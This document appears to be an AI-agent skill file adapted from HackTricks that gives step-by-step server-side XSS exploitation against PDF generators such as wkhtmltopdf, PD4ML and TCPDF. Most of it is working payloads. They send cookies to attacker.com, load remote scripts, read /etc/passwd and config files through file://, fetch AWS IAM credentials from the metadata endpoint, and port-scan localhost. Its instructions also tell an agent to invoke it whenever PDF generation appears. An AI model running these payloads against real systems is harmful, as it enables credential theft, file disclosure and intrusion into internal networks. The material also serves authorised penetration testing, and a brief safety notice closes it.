Hacktricks-skills server-side-xss-pdf
Server-side XSS exploitation in dynamic PDF generation systems. Use this skill whenever you encounter PDF generation from user-controlled input, HTML-to-PDF conversion, or need to test for XSS in PDF bots. Trigger for: wkhtmltopdf, TCPDF, PDFKit, iText, FPDF vulnerabilities, blind XSS in PDFs, SSRF via PDF generators, local file read through PDF rendering, or any scenario where user input becomes HTML that gets converted to PDF.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf/SKILL.MDServer-Side XSS in Dynamic PDF Generation
Overview
When a web application generates PDFs from user-controlled input, the PDF rendering engine may interpret HTML tags and execute JavaScript. This creates a Server-Side XSS vulnerability where you can:
- Execute arbitrary JavaScript in the PDF rendering context
- Read local files (SSRF/file disclosure)
- Access internal network resources
- Extract sensitive data via blind techniques
- Attach local files to the PDF (PD4ML)
When to Use This Skill
Use this skill when you:
- See a feature that generates PDFs from user input (forms, URLs, templates)
- Encounter HTML-to-PDF conversion endpoints
- Need to test PDF generation libraries for XSS
- Want to escalate XSS to SSRF or local file read
- Are investigating wkhtmltopdf, TCPDF, PDFKit, iText, or FPDF vulnerabilities
Common PDF Generation Tools
| Tool | Language | Notes |
|---|---|---|
| wkhtmltopdf | CLI | WebKit-based, widely vulnerable |
| TCPDF | PHP | Handles images, encryption |
| PDFKit | Node.js | HTML/CSS to PDF |
| iText | Java | Digital signatures, forms |
| FPDF | PHP | Simple, lightweight |
| PD4ML | Java | Supports attachments |
Exploitation Workflow
Step 1: Discovery - Confirm XSS is Possible
Start with basic payloads to verify the PDF renderer executes JavaScript:
<!-- Basic discovery - writes visible text to PDF --> <img src="x" onerror="document.write('XSS CONFIRMED')" /> <script>document.write('XSS WORKS: ' + window.location)</script> <script>document.write('<iframe src="' + window.location.href + '"></iframe>')</script>
What to look for: If the PDF contains "XSS CONFIRMED" or similar output, the renderer is executing JavaScript.
Step 2: Blind Discovery - When You Can't See the PDF
If you cannot view/download the generated PDF, use blind techniques:
<!-- Load external resource - check your server logs --> <img src="http://attacker.com/ping?xss=1" /> <!-- Exfiltrate cookies via image request --> <img src=x onerror="location.href='http://attacker.com/?c='+document.cookie"> <!-- Cookie exfiltration via script --> <script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script> <!-- Load external stylesheet --> <link rel="stylesheet" src="http://attacker.com/steal.css" /> <!-- Meta refresh redirect --> <meta http-equiv="refresh" content="0; url=http://attacker.com/?xss=1" /> <!-- Various media tags that trigger requests --> <input type="image" src="http://attacker.com" /> <video src="http://attacker.com" /> <audio src="http://attacker.com" /> <svg src="http://attacker.com" />
Step 3: Path Disclosure
Discover what file paths the bot can access:
<!-- Reveal the file:// path being accessed --> <img src="x" onerror="document.write(window.location)" /> <script>document.write(window.location)</script>
This shows you the internal path structure, which helps craft file read payloads.
Step 4: Load External Scripts
The most flexible approach - load your payload from a remote server:
<!-- Direct script inclusion --> <script src="http://attacker.com/payload.js"></script> <!-- Via onerror handler --> <img src="x" onerror="document.write('<script src=\"http://attacker.com/payload.js\"></script>')" />
Advantage: You can modify
payload.js without changing the injection point.
Step 5: Local File Read / SSRF
Read local files or access internal resources:
<!-- XMLHttpRequest to read local file (base64 encoded) --> <script> x=new XMLHttpRequest; x.onload=function(){document.write(btoa(this.responseText))}; x.open("GET","file:///etc/passwd"); x.send(); </script> <!-- XMLHttpRequest with error handling --> <script> xhzeem = new XMLHttpRequest(); xhzeem.onload = function(){document.write(this.responseText);} xhzeem.onerror = function(){document.write('failed!')} xhzeem.open("GET","file:///etc/passwd"); xhzeem.send(); </script> <!-- Various iframe/embed techniques --> <iframe src="file:///etc/passwd"></iframe> <object data="file:///etc/passwd"></object> <embed src="file:///etc/passwd" width="400" height="400"> <style><iframe src="file:///etc/passwd"></style> <meta http-equiv="refresh" content="0;url=file:///etc/passwd" /> <!-- AWS metadata SSRF --> <iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
Step 6: SVG Payloads
SVG payloads can contain nested HTML and JavaScript:
<!-- SVG with foreignObject containing iframes --> <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500"> <g> <foreignObject width="800" height="500"> <body xmlns="http://www.w3.org/1999/xhtml"> <iframe src="http://attacker.burpcollaborator.net" width="800" height="500"></iframe> <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe> </body> </foreignObject> </g> </svg> <!-- SVG with embedded script --> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="45" fill="green" id="foo"/> <script type="text/javascript"> alert(1); </script> </svg>
Step 7: Bot Delay Testing
Determine how long the PDF bot waits before timing out:
<script> let time = 500; setInterval(()=>{ let img = document.createElement("img"); img.src = `https://attacker.com/ping?time=${time}ms`; time += 500; }, 500); </script> <img src="https://attacker.com/starting">
Monitor your server logs to see the last timestamp received.
Step 8: Port Scanning
Scan local ports from the PDF rendering context:
<script> const checkPort = (port) => { fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = `http://attacker.com/ping?port=${port}`; }); } for(let i=0; i<1000; i++) { checkPort(i); } </script> <img src="https://attacker.com/startingScan">
Step 9: PD4ML Attachments
If the renderer supports PD4ML, attach local files to the PDF:
<html> <pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip" /> </html>
How to extract: Open the PDF in Firefox, double-click the paperclip icon to save the attachment.
Practical Examples
Example 1: Basic PDF XSS Discovery
Scenario: A website generates PDF invoices from user-submitted HTML.
Payload:
<img src="x" onerror="document.write('XSS TEST: ' + new Date())" />
Expected result: PDF contains "XSS TEST: [timestamp]"
Example 2: Blind Cookie Exfiltration
Scenario: PDF is generated but not returned to you.
Payload:
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
Expected result: Your server receives a request with cookie data.
Example 3: AWS Metadata SSRF
Scenario: PDF bot runs on AWS EC2.
Payload:
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
Expected result: PDF contains IAM role credentials.
Example 4: Local File Read
Scenario: PDF bot has access to
/var/www/ directory.
Payload:
<script> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open("GET","file:///var/www/config.php"); x.send(); </script>
Expected result: PDF contains config.php contents.
Tips and Tricks
tags don't always work - Try<script>
or other event handlers<img onerror=...>- Check for encoding - The input might be HTML-encoded; try double-encoding
- Test multiple PDF engines - Different tools have different vulnerabilities
- Use Burp Collaborator - For blind XSS, set up a collaborator subdomain
- Monitor timing - Some bots timeout quickly; use delay testing
- Try file:// and http:// - Both protocols may work for SSRF
- Check for attachments - PD4ML and similar tools may allow file attachments
References
Safety Notice
Only use these techniques on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.